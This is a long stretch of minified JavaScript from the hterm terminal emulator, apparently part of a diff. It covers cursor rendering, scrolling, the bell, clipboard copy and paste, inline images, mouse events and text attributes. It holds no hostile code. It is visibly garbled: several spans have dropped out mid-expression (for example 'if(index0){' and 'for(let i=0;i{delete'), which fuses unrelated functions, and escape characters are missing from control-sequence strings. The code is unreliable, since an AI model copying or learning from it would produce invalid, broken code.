+}`;this.document_.head.insertBefore(style,this.document_.head.firstChild);this.cursorNode_=this.document_.createElement("div");this.cursorNode_.id="hterm:terminal-cursor";this.cursorNode_.className="cursor-node";this.cursorNode_.style.cssText=` +position: absolute; +left: calc(var(--hterm-screen-padding-size) + + var(--hterm-charsize-width) * var(--hterm-cursor-offset-col)); +top: calc(var(--hterm-screen-padding-size) + + var(--hterm-charsize-height) * var(--hterm-cursor-offset-row)); +display: ${this.options_.cursorVisible?"":"none"}; +width: var(--hterm-charsize-width); +height: var(--hterm-charsize-height); +background-color: var(--hterm-cursor-color); +border-color: var(--hterm-cursor-color); +transition: opacity, background-color 100ms linear;`;this.setCursorColor();this.setCursorBlink(!!this.prefs_.get("cursor-blink"));this.restyleCursor_();this.document_.body.appendChild(this.cursorNode_);this.scrollBlockerNode_=this.document_.createElement("div");this.scrollBlockerNode_.id="hterm:mouse-drag-scroll-blocker";this.scrollBlockerNode_.setAttribute("aria-hidden","true");this.scrollBlockerNode_.style.cssText="position: absolute;"+"top: -99px;"+"display: block;"+"width: 10px;"+"height: 10px;";this.document_.body.appendChild(this.scrollBlockerNode_);this.scrollPort_.onScrollWheel=onMouse;["mousedown","mouseup","mousemove","click","dblclick"].forEach(function(event){this.scrollBlockerNode_.addEventListener(event,onMouse);this.cursorNode_.addEventListener(event,onMouse);this.document_.addEventListener(event,onMouse)}.bind(this));this.cursorNode_.addEventListener("mousedown",function(){setTimeout(this.focus.bind(this))}.bind(this));this.setReverseVideo(false);this.document_.fonts.addEventListener("loadingdone",()=>this.syncFontFamily());this.scrollPort_.focus();this.scrollPort_.scheduleRedraw()};hterm.Terminal.prototype.getDocument=function(){return this.document_};hterm.Terminal.prototype.focus=function(){this.scrollPort_.focus()};hterm.Terminal.prototype.blur=function(){this.scrollPort_.blur()};hterm.Terminal.prototype.getRowNode=function(index){if(index0){const ary=this.screen_.shiftRows(extraRows);Array.prototype.push.apply(this.scrollbackRows_,ary);if(this.scrollPort_.isScrolledEnd){this.scheduleScrollDown_()}}if(cursorRow>=this.screen_.rowsArray.length){cursorRow=this.screen_.rowsArray.length-1}this.setAbsoluteCursorPosition(cursorRow,0)};hterm.Terminal.prototype.insertRow_=function(){const row=this.document_.createElement("x-row");row.appendChild(this.document_.createTextNode(""));this.scrollbackRows_.push(this.screen_.shiftRow());const cursorRow=this.screen_.cursorPosition.row;this.screen_.insertRow(cursorRow,row);this.renumberRows_(cursorRow,this.screen_.rowsArray.length);this.setAbsoluteCursorPosition(cursorRow,0);if(this.scrollPort_.isScrolledEnd){this.scheduleScrollDown_()}};hterm.Terminal.prototype.moveRows_=function(fromIndex,count,toIndex){const ary=this.screen_.removeRows(fromIndex,count);this.screen_.insertRows(toIndex,ary);let start,end;if(fromIndex=this.screenSize.width){didOverflow=true;count=this.screenSize.width-this.screen_.cursorPosition.column}if(didOverflow&&!this.options_.wraparound){substr=hterm.wc.substr(str,startOffset,count-1)+hterm.wc.substr(str,strWidth-1);count=strWidth}else{substr=hterm.wc.substr(str,startOffset,count)}const tokens=hterm.TextAttributes.splitWidecharString(substr);for(let i=0;i=0;i--){this.setAbsoluteCursorPosition(cursorRow+i,0);this.screen_.clearCursorRow()}};hterm.Terminal.prototype.deleteLines=function(count){const cursor=this.saveCursor();const top=cursor.row;const bottom=this.getVTScrollBottom();const maxCount=bottom-top+1;count=Math.min(count,maxCount);const moveStart=bottom-count+1;if(count!=maxCount){this.moveRows_(top,count,moveStart)}for(let i=0;i{delete this.timeouts_.redraw;this.scrollPort_.redraw_()})};hterm.Terminal.prototype.scheduleScrollDown_=function(){if(this.timeouts_.scrollDown){return}this.timeouts_.scrollDown=setTimeout(()=>{delete this.timeouts_.scrollDown;this.scrollPort_.scrollRowToBottom(this.getRowCount())},10)};hterm.Terminal.prototype.cursorUp=function(count){this.cursorDown(-(count||1))};hterm.Terminal.prototype.cursorDown=function(count){count=count||1;const minHeight=this.options_.originMode?this.getVTScrollTop():0;const maxHeight=this.options_.originMode?this.getVTScrollBottom():this.screenSize.height-1;const row=lib.f.clamp(this.screen_.cursorPosition.row+count,minHeight,maxHeight);this.setAbsoluteCursorRow(row)};hterm.Terminal.prototype.cursorLeft=function(count){count=count||1;if(count<1){return}const currentColumn=this.screen_.cursorPosition.column;if(this.options_.reverseWraparound){if(this.screen_.cursorPosition.overflow){count--;this.clearCursorOverflow();if(!count){return}}let newRow=this.screen_.cursorPosition.row;let newColumn=currentColumn-count;if(newColumn<0){newRow=newRow-Math.floor(count/this.screenSize.width)-1;if(newRow<0){newRow=this.screenSize.height+newRow%this.screenSize.height}newColumn=this.screenSize.width+newColumn%this.screenSize.width}this.setCursorPosition(Math.max(newRow,0),newColumn)}else{const newColumn=Math.max(currentColumn-count,0);this.setCursorColumn(newColumn)}};hterm.Terminal.prototype.cursorRight=function(count){count=count||1;if(count<1){return}const column=lib.f.clamp(this.screen_.cursorPosition.column+count,0,this.screenSize.width-1);this.setCursorColumn(column)};hterm.Terminal.prototype.setReverseVideo=function(state){this.options_.reverseVideo=state;if(state){this.setRgbColorCssVar("foreground-color",this.backgroundColor_);this.setRgbColorCssVar("background-color",this.foregroundColor_)}else{this.setRgbColorCssVar("foreground-color",this.foregroundColor_);this.setRgbColorCssVar("background-color",this.backgroundColor_)}};hterm.Terminal.prototype.ringBell=function(){this.cursorNode_.style.backgroundColor="rgb(var(--hterm-foreground-color))";setTimeout(()=>this.restyleCursor_(),200);if(this.bellSquelchTimeout_){return}if(this.bellAudio_.getAttribute("src")){this.bellAudio_.play();this.bellSequelchTimeout_=setTimeout(()=>{this.bellSquelchTimeout_=null},500)}else{this.bellSquelchTimeout_=null}if(this.desktopNotificationBell_&&!this.document_.hasFocus()){const n=hterm.notify();this.bellNotificationList_.push(n);n.onclick=()=>this.closeBellNotifications_()}};hterm.Terminal.prototype.setOriginMode=function(state){this.options_.originMode=state;this.setCursorPosition(0,0)};hterm.Terminal.prototype.setInsertMode=function(state){this.options_.insertMode=state};hterm.Terminal.prototype.setAutoCarriageReturn=function(state){this.options_.autoCarriageReturn=state};hterm.Terminal.prototype.setWraparound=function(state){this.options_.wraparound=state};hterm.Terminal.prototype.setReverseWraparound=function(state){this.options_.reverseWraparound=state};hterm.Terminal.prototype.setAlternateMode=function(state){if(state==(this.screen_==this.alternateScreen_)){return}const oldOverrides=this.screen_.textAttributes.colorPaletteOverrides;const cursor=this.saveCursor();this.screen_=state?this.alternateScreen_:this.primaryScreen_;const newOverrides=this.screen_.textAttributes.colorPaletteOverrides;oldOverrides.forEach((c,i)=>{if(!newOverrides.hasOwnProperty(i)){this.setRgbColorCssVar(`color-${i}`,this.getColorPalette(i))}});newOverrides.forEach((c,i)=>this.setRgbColorCssVar(`color-${i}`,c));if(this.screen_.rowsArray.length&&this.screen_.rowsArray[0].rowIndex!=this.scrollbackRows_.length){const offset=this.scrollbackRows_.length;const ary=this.screen_.rowsArray;for(let i=0;i{delete this.timeouts_.cursorBlinkPause;this.cursorBlinkPause_=false},500)};hterm.Terminal.prototype.syncCursorPosition_=function(){const topRowIndex=this.scrollPort_.getTopRowIndex();const bottomRowIndex=this.scrollPort_.getBottomRowIndex(topRowIndex);const cursorRowIndex=this.scrollbackRows_.length+this.screen_.cursorPosition.row;let forceSyncSelection=false;if(this.accessibilityReader_.accessibilityEnabled){const cursorColumnIndex=this.screen_.cursorPosition.column;const cursorLineText=this.screen_.rowsArray[this.screen_.cursorPosition.row].innerText;forceSyncSelection=this.accessibilityReader_.hasUserGesture;this.accessibilityReader_.afterCursorChange(cursorLineText,cursorRowIndex,cursorColumnIndex)}if(cursorRowIndex>bottomRowIndex){this.cursorOffScreen_=true;this.cursorNode_.style.display="none";return false}if(this.cursorNode_.style.display=="none"){this.cursorOffScreen_=false;this.cursorNode_.style.display=""}this.setCssVar("cursor-offset-row",`${cursorRowIndex-topRowIndex} + `+`${this.scrollPort_.visibleRowTopMargin}px`);this.setCssVar("cursor-offset-col",this.screen_.cursorPosition.column);this.cursorNode_.setAttribute("title","("+this.screen_.cursorPosition.column+", "+this.screen_.cursorPosition.row+")");if(!this.findBar.hasFocus){const selection=this.document_.getSelection();if(selection&&(selection.isCollapsed||forceSyncSelection)){this.screen_.syncSelectionCaret(selection)}}return true};hterm.Terminal.prototype.restyleCursor_=function(){let shape=this.cursorShape_;if(this.cursorNode_.getAttribute("focus")=="false"){shape=hterm.Terminal.cursorShape.BLOCK}const style=this.cursorNode_.style;switch(shape){case hterm.Terminal.cursorShape.BEAM:style.backgroundColor="transparent";style.borderBottomStyle="";style.borderLeftStyle="solid";break;case hterm.Terminal.cursorShape.UNDERLINE:style.backgroundColor="transparent";style.borderBottomStyle="solid";style.borderLeftStyle="";break;default:style.backgroundColor="var(--hterm-cursor-color)";style.borderBottomStyle="";style.borderLeftStyle="";break}};hterm.Terminal.prototype.scheduleSyncCursorPosition_=function(){if(this.timeouts_.syncCursor){return}if(this.accessibilityReader_.accessibilityEnabled){const cursorRowIndex=this.scrollbackRows_.length+this.screen_.cursorPosition.row;const cursorColumnIndex=this.screen_.cursorPosition.column;const cursorLineText=this.screen_.rowsArray[this.screen_.cursorPosition.row].innerText;this.accessibilityReader_.beforeCursorChange(cursorLineText,cursorRowIndex,cursorColumnIndex)}this.timeouts_.syncCursor=setTimeout(()=>{this.syncCursorPosition_();delete this.timeouts_.syncCursor})};hterm.Terminal.prototype.showOverlay=function(msg,timeout=1500){if(!this.ready_||!this.notifications_){return}this.notifications_.show(msg,{timeout:timeout})};hterm.Terminal.prototype.hideOverlay=function(){this.notifications_.hide()};hterm.Terminal.prototype.paste=function(){if(!this.alwaysUseLegacyPasting&&navigator.clipboard&&navigator.clipboard.readText){navigator.clipboard.readText().then(data=>this.onPasteData_(data));return null}else{try{return this.document_.execCommand("paste")}catch(firefoxException){return false}}};hterm.Terminal.prototype.copyStringToClipboard=function(str){if(this.prefs_.get("enable-clipboard-notice")){if(!this.clipboardNotice_){this.clipboardNotice_=this.document_.createElement("div");this.clipboardNotice_.style.textAlign="center";const copyImage=lib.resource.getData("hterm/images/copy");this.clipboardNotice_.innerHTML=hterm.sanitizeHtml(`${copyImage}
${hterm.msg("NOTIFY_COPY")}
`)}setTimeout(()=>this.showOverlay(this.clipboardNotice_,500),200)}hterm.copySelectionToClipboard(this.document_,str)};hterm.Terminal.prototype.displayImage=function(options,onLoad,onError){if(options.uri===undefined&&options.buffer===undefined&&options.blob===undefined){return}if(!options.name){options.name=""}if(!options.type){const ary=options.name.split(".");const ext=ary[ary.length-1].trim();switch(ext){case"svg":case"svgz":options.type="image/svg+xml";break}}if(this.allowImagesInline!==true){if(this.allowImagesInline===false){this.showOverlay(hterm.msg("POPUP_INLINE_IMAGE_DISABLED",[],"Inline Images Disabled"));return}let button;const span=this.document_.createElement("span");const label=this.document_.createElement("p");label.innerText=hterm.msg("POPUP_INLINE_IMAGE",[],"Inline Images");label.style.textAlign="center";span.appendChild(label);button=this.document_.createElement("input");button.type="button";button.value=hterm.msg("BUTTON_BLOCK",[],"block");button.addEventListener("click",()=>{this.prefs_.set("allow-images-inline",false);this.hideOverlay()});span.appendChild(button);span.appendChild(new Text(" "));button=this.document_.createElement("input");button.type="button";button.value=hterm.msg("BUTTON_ALLOW_SESSION",[],"allow this session");button.addEventListener("click",()=>{this.allowImagesInline=true;this.hideOverlay()});span.appendChild(button);span.appendChild(new Text(" "));button=this.document_.createElement("input");button.type="button";button.value=hterm.msg("BUTTON_ALLOW_ALWAYS",[],"always allow");button.addEventListener("click",()=>{this.prefs_.set("allow-images-inline",true);this.hideOverlay()});span.appendChild(button);this.showOverlay(span,null);return}if(options.inline){const io=this.io.push();io.showOverlay(hterm.msg("LOADING_RESOURCE_START",[options.name],"Loading $1 ..."));io.onVTKeystroke=io.sendString=()=>{};const img=this.document_.createElement("img");if(options.uri!==undefined){img.src=options.uri}else if(options.buffer!==undefined){const blob=new Blob([options.buffer],{type:options.type});img.src=URL.createObjectURL(blob)}else{const blob=new Blob([options.blob],{type:options.type});img.src=URL.createObjectURL(blob)}img.title=img.alt=options.name;this.document_.body.appendChild(img);img.onload=()=>{const screenSize=this.scrollPort_.getScreenSize();img.style.objectFit=options.preserveAspectRatio?"scale-down":"fill";img.style.maxWidth=`${screenSize.width}px`;img.style.maxHeight=`${screenSize.height}px`;const parseDim=(dim,maxDim,cssVar)=>{if(!dim||dim=="auto"){return""}const ary=dim.match(/^([0-9]+)(px|%)?$/);if(ary){if(ary[2]=="%"){return Math.floor(maxDim*ary[1]/100)+"px"}else if(ary[2]=="px"){return dim}else{return`calc(${dim} * var(${cssVar}))`}}return""};img.style.width=parseDim(options.width,screenSize.width,"--hterm-charsize-width");img.style.height=parseDim(options.height,screenSize.height,"--hterm-charsize-height");const padRows=Math.ceil(img.clientHeight/this.scrollPort_.characterSize.height);for(let i=0;i{this.document_.body.removeChild(img);io.showOverlay(hterm.msg("LOADING_RESOURCE_FAILED",[options.name],"Loading $1 failed"));io.pop();if(onError){onError(e)}}}else{const a=this.document_.createElement("a");if(options.uri!==undefined){a.href=options.uri}else if(options.buffer!==undefined){const blob=new Blob([options.buffer]);a.href=URL.createObjectURL(blob)}else{a.href=URL.createObjectURL(lib.notNull(options.blob))}a.download=options.name;this.document_.body.appendChild(a);a.click();a.remove();if(options.uri===undefined){URL.revokeObjectURL(a.href)}}};hterm.Terminal.prototype.getSelectionText=function(){const selection=this.scrollPort_.selection;selection.sync();if(selection.isCollapsed){return null}let startOffset=selection.startOffset;let node=selection.startNode;if(!node){return null}if(node.nodeName!="X-ROW"){if(node.nodeName=="#text"&&node.parentNode.nodeName=="SPAN"){node=node.parentNode}while(node.previousSibling){node=node.previousSibling;startOffset+=hterm.TextAttributes.nodeWidth(node)}}let endOffset=hterm.TextAttributes.nodeWidth(lib.notNull(selection.endNode))-selection.endOffset;node=selection.endNode;if(node.nodeName!="X-ROW"){if(node.nodeName=="#text"&&node.parentNode.nodeName=="SPAN"){node=node.parentNode}while(node.nextSibling){node=node.nextSibling;endOffset+=hterm.TextAttributes.nodeWidth(node)}}const rv=this.getRowsText(selection.startRow.rowIndex,selection.endRow.rowIndex+1);return hterm.wc.substring(rv,startOffset,hterm.wc.strWidth(rv)-endOffset)};hterm.Terminal.prototype.copySelectionToClipboard=function(){const text=this.getSelectionText();if(text!=null){this.copyStringToClipboard(text)}};hterm.Terminal.prototype.overlaySize=function(){if(this.prefs_.get("enable-resize-status")){this.showOverlay(`${this.screenSize.width} × ${this.screenSize.height}`)}};hterm.Terminal.prototype.onVTKeystroke=function(string){if(this.scrollOnKeystroke_){this.scrollPort_.scrollRowToBottom(this.getRowCount())}this.pauseCursorBlink_();this.io.onVTKeystroke(string)};hterm.Terminal.prototype.openSelectedUrl_=function(){let str=this.getSelectionText();if(str==null){this.screen_.expandSelectionForUrl(this.document_.getSelection());str=this.getSelectionText();if(str==null){return}}if(str.length>2048||str.search(/[\s[\](){}<>"'\\^`]/)>=0){return}if(str.search("^[a-zA-Z][a-zA-Z0-9+.-]*://")<0){switch(str.split(":",1)[0]){case"mailto":break;default:str="http://"+str;break}}hterm.openUrl(str)};hterm.Terminal.prototype.setAutomaticMouseHiding=function(v=null){if(v===null){v=hterm.os!="cros"&&hterm.os!="mac"}this.mouseHideWhileTyping_=!!v};hterm.Terminal.prototype.onKeyboardActivity_=function(e){if(this.mouseHideWhileTyping_&&!this.mouseHideDelay_){this.setCssVar("mouse-cursor-style","none")}};hterm.Terminal.prototype.onMouse_=function(e){if(e.processedByTerminalHandler_){return}if(e.button>2){e.preventDefault()}const reportMouseEvents=!this.defeatMouseReports_&&this.vt.mouseReport!=this.vt.MOUSE_REPORT_DISABLED;e.processedByTerminalHandler_=true;if(this.mouseHideWhileTyping_&&!this.mouseHideDelay_){this.syncMouseStyle();this.mouseHideDelay_=setTimeout(()=>this.mouseHideDelay_=null,1e3)}const padding=this.scrollPort_.screenPaddingSize;e.terminalRow=Math.floor((e.clientY-this.scrollPort_.visibleRowTopMargin-padding)/this.scrollPort_.characterSize.height)+1;e.terminalColumn=Math.floor((e.clientX-padding)/this.scrollPort_.characterSize.width)+1;e.terminalRow=lib.f.clamp(e.terminalRow,1,this.screenSize.height);e.terminalColumn=lib.f.clamp(e.terminalColumn,1,this.screenSize.width);if(e.type=="mousedown"&&e.clientX>=this.scrollPort_.getScrollbarX()){return}if(this.options_.cursorVisible&&!reportMouseEvents&&!this.cursorOffScreen_){if(e.terminalRow-1==this.screen_.cursorPosition.row&&e.terminalColumn-1==this.screen_.cursorPosition.column){this.cursorNode_.style.display="none"}else if(this.cursorNode_.style.display=="none"){this.cursorNode_.style.display=""}}if(e.type=="mousedown"){this.contextMenu.hide();if(e.altKey||!reportMouseEvents){this.defeatMouseReports_=true;this.setSelectionEnabled(true)}else{this.defeatMouseReports_=false;this.document_.getSelection().collapseToEnd();this.setSelectionEnabled(false);e.preventDefault()}if(e.button===0){this.scrollPort_.selection.setAutoScrollEnabled(true)}}if(!reportMouseEvents){if(e.type=="dblclick"){this.screen_.expandSelection(this.document_.getSelection());if(this.copyOnSelect){this.copySelectionToClipboard()}}if(e.type=="click"&&!e.shiftKey&&(e.ctrlKey||e.metaKey)){if(e.target.className==="uri-node"){return}clearTimeout(this.timeouts_.openUrl);this.timeouts_.openUrl=setTimeout(this.openSelectedUrl_.bind(this),500);return}if(e.type=="mousedown"){if(e.ctrlKey&&e.button==2){e.preventDefault();this.contextMenu.show(e,this)}else if(e.button==this.mousePasteButton||this.mouseRightClickPaste&&e.button==2){if(this.paste()===false){console.warn("Could not paste manually due to web restrictions")}}}if(e.type=="mouseup"&&e.button==0&&this.copyOnSelect&&!this.document_.getSelection().isCollapsed){this.copySelectionToClipboard()}if((e.type=="mousemove"||e.type=="mouseup")&&this.scrollBlockerNode_.engaged){this.scrollBlockerNode_.engaged=false;this.scrollBlockerNode_.style.top="-99px"}if(this.scrollWheelArrowKeys_&&!e.shiftKey&&this.keyboard.applicationCursor&&!this.isPrimaryScreen()){if(e.type=="wheel"){const delta=this.scrollPort_.scrollWheelDelta(e);const deltaToArrows=(distance,charSize,arrowPos,arrowNeg)=>{if(distance==0){return""}const cells=lib.f.smartFloorDivide(Math.abs(distance),charSize);const data="O"+(distance<0?arrowNeg:arrowPos);return data.repeat(cells)};this.io.sendString(deltaToArrows(delta.y,this.scrollPort_.characterSize.height,"A","B")+deltaToArrows(delta.x,this.scrollPort_.characterSize.width,"C","D"));e.preventDefault()}}}else{if(!this.scrollBlockerNode_.engaged){if(e.type=="mousedown"){this.scrollBlockerNode_.engaged=true;this.scrollBlockerNode_.style.top=e.clientY-5+"px";this.scrollBlockerNode_.style.left=e.clientX-5+"px"}else if(e.type=="mousemove"){this.document_.getSelection().collapseToEnd();e.preventDefault()}}this.onMouse(e)}if(e.type=="mouseup"){if(this.document_.getSelection().isCollapsed){this.defeatMouseReports_=false}if(e.button===0){this.scrollPort_.selection.setAutoScrollEnabled(false)}}};hterm.Terminal.prototype.onMouse=function(e){};hterm.Terminal.prototype.onFocusChange_=function(focused){this.cursorNode_.setAttribute("focus",focused);this.restyleCursor_();if(this.reportFocus){this.io.sendString(focused===true?"":"")}if(focused===true){this.closeBellNotifications_()}};hterm.Terminal.prototype.onScroll_=function(){this.scheduleSyncCursorPosition_()};hterm.Terminal.prototype.onPaste_=function(e){this.onPasteData_(e.text)};hterm.Terminal.prototype.onPasteData_=function(data){data=data.replace(/\n/gm,"\r");if(this.options_.bracketedPaste){const filter=data=>data.replace(/[\x00-\x07\x0b-\x0c\x0e-\x1f]/g,"");data="[200~"+filter(data)+"[201~"}this.io.sendString(data)};hterm.Terminal.prototype.onCopy_=function(e){if(!this.useDefaultWindowCopy){e.preventDefault();setTimeout(this.copySelectionToClipboard.bind(this),0)}};hterm.Terminal.prototype.onResize_=function(){const columnCount=Math.floor(this.scrollPort_.getScreenWidth()/this.scrollPort_.characterSize.width)||0;const rowCount=lib.f.smartFloorDivide(this.scrollPort_.getScreenHeight(),this.scrollPort_.characterSize.height)||0;if(columnCount<=0||rowCount<=0){return}const isNewSize=columnCount!=this.screenSize.width||rowCount!=this.screenSize.height;const wasScrolledEnd=this.scrollPort_.isScrolledEnd;this.realizeSize_(columnCount,rowCount);this.updateCssCharsize_();if(isNewSize){this.overlaySize()}this.restyleCursor_();this.scheduleSyncCursorPosition_();if(wasScrolledEnd){this.scrollEnd()}};hterm.Terminal.prototype.onCursorBlink_=function(){if(!this.options_.cursorBlink){delete this.timeouts_.cursorBlink;return}if(this.cursorNode_.getAttribute("focus")=="false"||this.cursorNode_.style.opacity=="0"||this.cursorBlinkPause_){this.cursorNode_.style.opacity="1";this.timeouts_.cursorBlink=setTimeout(this.myOnCursorBlink_,this.cursorBlinkCycle_[0])}else{this.cursorNode_.style.opacity="0";this.timeouts_.cursorBlink=setTimeout(this.myOnCursorBlink_,this.cursorBlinkCycle_[1])}};hterm.Terminal.prototype.setScrollbarVisible=function(state){this.scrollPort_.setScrollbarVisible(state)};hterm.Terminal.prototype.setScrollWheelMoveMultipler=function(multiplier){this.scrollPort_.setScrollWheelMoveMultipler(multiplier)};hterm.Terminal.prototype.closeBellNotifications_=function(){this.bellNotificationList_.forEach(function(n){n.close()});this.bellNotificationList_.length=0};hterm.Terminal.prototype.onScrollportFocus_=function(){const topRowIndex=this.scrollPort_.getTopRowIndex();const bottomRowIndex=this.scrollPort_.getBottomRowIndex(topRowIndex);const selection=this.document_.getSelection();if(!this.syncCursorPosition_()&&selection){selection.collapse(this.getRowNode(bottomRowIndex))}};hterm.Terminal.prototype.onOpenOptionsPage=function(){};hterm.Terminal.prototype.onOpenOptionsPage_=function(){this.onOpenOptionsPage()};hterm.Terminal.prototype.onTmuxControlModeLine=function(line){};hterm.Terminal.IO=function(terminal){this.terminal_=terminal;this.previousIO_=null;this.buffered_="";this.textDecoder_=new TextDecoder};hterm.Terminal.IO.prototype.showOverlay=function(message,timeout=undefined){this.terminal_.showOverlay(message,timeout)};hterm.Terminal.IO.prototype.hideOverlay=function(){this.terminal_.hideOverlay()};hterm.Terminal.IO.prototype.createFrame=function(url,options=undefined){return new hterm.Frame(this.terminal_,url,options)};hterm.Terminal.IO.prototype.setTerminalProfile=function(profileName){this.terminal_.setProfile(profileName)};hterm.Terminal.IO.prototype.push=function(){const io=new this.constructor(this.terminal_);io.columnCount=this.columnCount;io.rowCount=this.rowCount;io.previousIO_=this.terminal_.io;this.terminal_.io=io;return io};hterm.Terminal.IO.prototype.pop=function(){this.terminal_.io=this.previousIO_;this.previousIO_.flush()};hterm.Terminal.IO.prototype.flush=function(){if(this.buffered_){this.terminal_.interpret(this.buffered_);this.buffered_=""}};hterm.Terminal.IO.prototype.sendString=function(string){console.log("Unhandled sendString: "+string)};hterm.Terminal.IO.prototype.onVTKeystroke=function(string){console.log("Unobserverd VT keystroke: "+JSON.stringify(string))};hterm.Terminal.IO.prototype.onTerminalResize_=function(width,height){let obj=this;while(obj){obj.columnCount=width;obj.rowCount=height;obj=obj.previousIO_}this.onTerminalResize(width,height)};hterm.Terminal.IO.prototype.onTerminalResize=function(width,height){};hterm.Terminal.IO.prototype.writeUTF8=function(buffer){const u8=new Uint8Array(buffer);const string=this.textDecoder_.decode(u8,{stream:true});this.print(string)};hterm.Terminal.IO.prototype.writelnUTF8=function(buffer){this.writeUTF8(buffer);this.writeUTF8([13,10])};hterm.Terminal.IO.prototype.print=hterm.Terminal.IO.prototype.writeUTF16=function(string){if(this.terminal_.io!=this){this.buffered_+=string;return}this.terminal_.interpret(string)};hterm.Terminal.IO.prototype.println=hterm.Terminal.IO.prototype.writelnUTF16=function(string){this.print(string+"\r\n")};hterm.TextAttributes=function(document){this.document_=document;this.foregroundSource=this.SRC_DEFAULT;this.backgroundSource=this.SRC_DEFAULT;this.underlineSource=this.SRC_DEFAULT;this.foreground=this.DEFAULT_COLOR;this.background=this.DEFAULT_COLOR;this.underlineColor=this.DEFAULT_COLOR;this.defaultForeground="rgb(var(--hterm-foreground-color))";this.defaultBackground="rgb(var(--hterm-background-color))";this.bold=false;this.faint=false;this.italic=false;this.blink=false;this.underline=false;this.strikethrough=false;this.inverse=false;this.invisible=false;this.wcNode=false;this.asciiNode=true;this.tileData=null;this.uri=null;this.uriId=null;this.colorPaletteOverrides=[]};hterm.TextAttributes.prototype.enableBold=true;hterm.TextAttributes.prototype.enableBoldAsBright=true;hterm.TextAttributes.prototype.DEFAULT_COLOR=Symbol("DEFAULT_COLOR");hterm.TextAttributes.prototype.SRC_DEFAULT=Symbol("SRC_DEFAULT");hterm.TextAttributes.prototype.setDocument=function(document){this.document_=document};hterm.TextAttributes.prototype.clone=function(){const rv=new hterm.TextAttributes;for(const key in this){rv[key]=this[key]}rv.colorPaletteOverrides=this.colorPaletteOverrides.concat();return rv};hterm.TextAttributes.prototype.reset=function(){this.foregroundSource=this.SRC_DEFAULT;this.backgroundSource=this.SRC_DEFAULT;this.underlineSource=this.SRC_DEFAULT;this.foreground=this.DEFAULT_COLOR;this.background=this.DEFAULT_COLOR;this.underlineColor=this.DEFAULT_COLOR;this.bold=false;this.faint=false;this.italic=false;this.blink=false;this.underline=false;this.strikethrough=false;this.inverse=false;this.invisible=false;this.wcNode=false;this.asciiNode=true;this.uri=null;this.uriId=null};hterm.TextAttributes.prototype.isDefault=function(){return this.foregroundSource==this.SRC_DEFAULT&&this.backgroundSource==this.SRC_DEFAULT&&!this.bold&&!this.faint&&!this.italic&&!this.blink&&!this.underline&&!this.strikethrough&&!this.inverse&&!this.invisible&&!this.wcNode&&this.asciiNode&&this.tileData==null&&this.uri==null};hterm.TextAttributes.prototype.createContainer=function(textContent=""){if(this.isDefault()){const node=this.document_.createTextNode(textContent);node.asciiNode=true;return node}const span=this.document_.createElement("span");const style=span.style;const classes=[];if(this.foreground!=this.DEFAULT_COLOR){style.color=this.foreground.toString()}if(this.background!=this.DEFAULT_COLOR){style.backgroundColor=this.background.toString();style.display="inline-block"}if(this.enableBold&&this.bold){style.fontWeight="bold"}if(this.faint){span.faint=true}if(this.italic){style.fontStyle="italic"}if(this.blink){classes.push("blink-node");span.blinkNode=true}let textDecorationLine="";span.underline=this.underline;if(this.underline){textDecorationLine+=" underline";style.textDecorationStyle=this.underline}if(this.underlineColor!=this.DEFAULT_COLOR){style.textDecorationColor=this.underlineColor}if(this.strikethrough){textDecorationLine+=" line-through";span.strikethrough=true}if(textDecorationLine){style.textDecorationLine=textDecorationLine}if(this.wcNode){classes.push("wc-node");span.wcNode=true}span.asciiNode=this.asciiNode;if(this.tileData!=null){classes.push("tile");classes.push("tile_"+this.tileData);span.tileNode=true}if(textContent){span.textContent=textContent}if(this.uri){classes.push("uri-node");span.uriId=this.uriId;span.title=this.uri;span.addEventListener("click",hterm.openUrl.bind(this,this.uri))}if(classes.length){span.className=classes.join(" ")}return span};hterm.TextAttributes.prototype.matchesContainer=function(obj){if(typeof obj=="string"||obj.nodeType==Node.TEXT_NODE){return this.isDefault()}const style=obj.style;return!(this.wcNode||obj.wcNode)&&this.asciiNode==obj.asciiNode&&!(this.tileData!=null||obj.tileNode)&&this.uriId==obj.uriId&&(this.foreground==this.DEFAULT_COLOR&&style.color=="")&&(this.background==this.DEFAULT_COLOR&&style.backgroundColor=="")&&(this.underlineColor==this.DEFAULT_COLOR&&style.textDecorationColor=="")&&(this.enableBold&&this.bold)==!!style.fontWeight&&this.blink==!!obj.blinkNode&&this.italic==!!style.fontStyle&&this.underline==obj.underline&&!!this.strikethrough==!!obj.strikethrough};hterm.TextAttributes.prototype.syncColors=function(){function getBrightIndex(i){if(i<8){return i+8}return i}const getDefaultColor=(color,defaultColor)=>{return color==this.DEFAULT_COLOR?defaultColor:color};if(this.enableBoldAsBright&&this.bold){if(typeof this.foregroundSource=="number"&&Number.isInteger(this.foregroundSource)){this.foregroundSource=getBrightIndex(this.foregroundSource)}}const colorFromSource=source=>{if(source==this.SRC_DEFAULT){return this.DEFAULT_COLOR}else if(typeof source=="number"&&Number.isInteger(source)){return`rgb(var(--hterm-color-${source}))`}else{return source.toString()}};this.foreground=colorFromSource(this.foregroundSource);if(this.faint){if(this.foreground==this.DEFAULT_COLOR){this.foreground="rgba(var(--hterm-foreground-color), 0.67)"}else if(typeof this.foregroundSource=="number"&&Number.isInteger(this.foregroundSource)){this.foreground=`rgba(var(--hterm-color-${this.foregroundSource}), 0.67)`}else{this.foreground=lib.colors.setAlpha(this.foreground.toString(),.67)}}this.background=colorFromSource(this.backgroundSource);if(this.inverse){const swp=getDefaultColor(this.foreground,this.defaultForeground);this.foreground=getDefaultColor(this.background,this.defaultBackground);this.background=swp}if(this.invisible){this.foreground=this.background}this.underlineColor=colorFromSource(this.underlineSource)};hterm.TextAttributes.containersMatch=function(obj1,obj2){if(typeof obj1=="string"){return hterm.TextAttributes.containerIsDefault(obj2)}if(obj1.nodeType!=obj2.nodeType){return false}if(obj1.nodeType==Node.TEXT_NODE){return true}const style1=obj1.style;const style2=obj2.style;return style1.color==style2.color&&style1.backgroundColor==style2.backgroundColor&&style1.backgroundColor==style2.backgroundColor&&style1.fontWeight==style2.fontWeight&&style1.fontStyle==style2.fontStyle&&style1.textDecoration==style2.textDecoration&&style1.textDecorationColor==style2.textDecorationColor&&style1.textDecorationStyle==style2.textDecorationStyle&&style1.textDecorationLine==style2.textDecorationLine};hterm.TextAttributes.containerIsDefault=function(obj){return typeof obj=="string"||obj.nodeType==Node.TEXT_NODE};hterm.TextAttributes.nodeWidth=function(node){if(!node.asciiNode){return hterm.wc.strWidth(node.textContent)}else{return node.textContent.length}};hterm.TextAttributes.nodeSubstr=function(node,start,width){if(!node.asciiNode){return hterm.wc.substr(node.textContent,start,width)}else{return 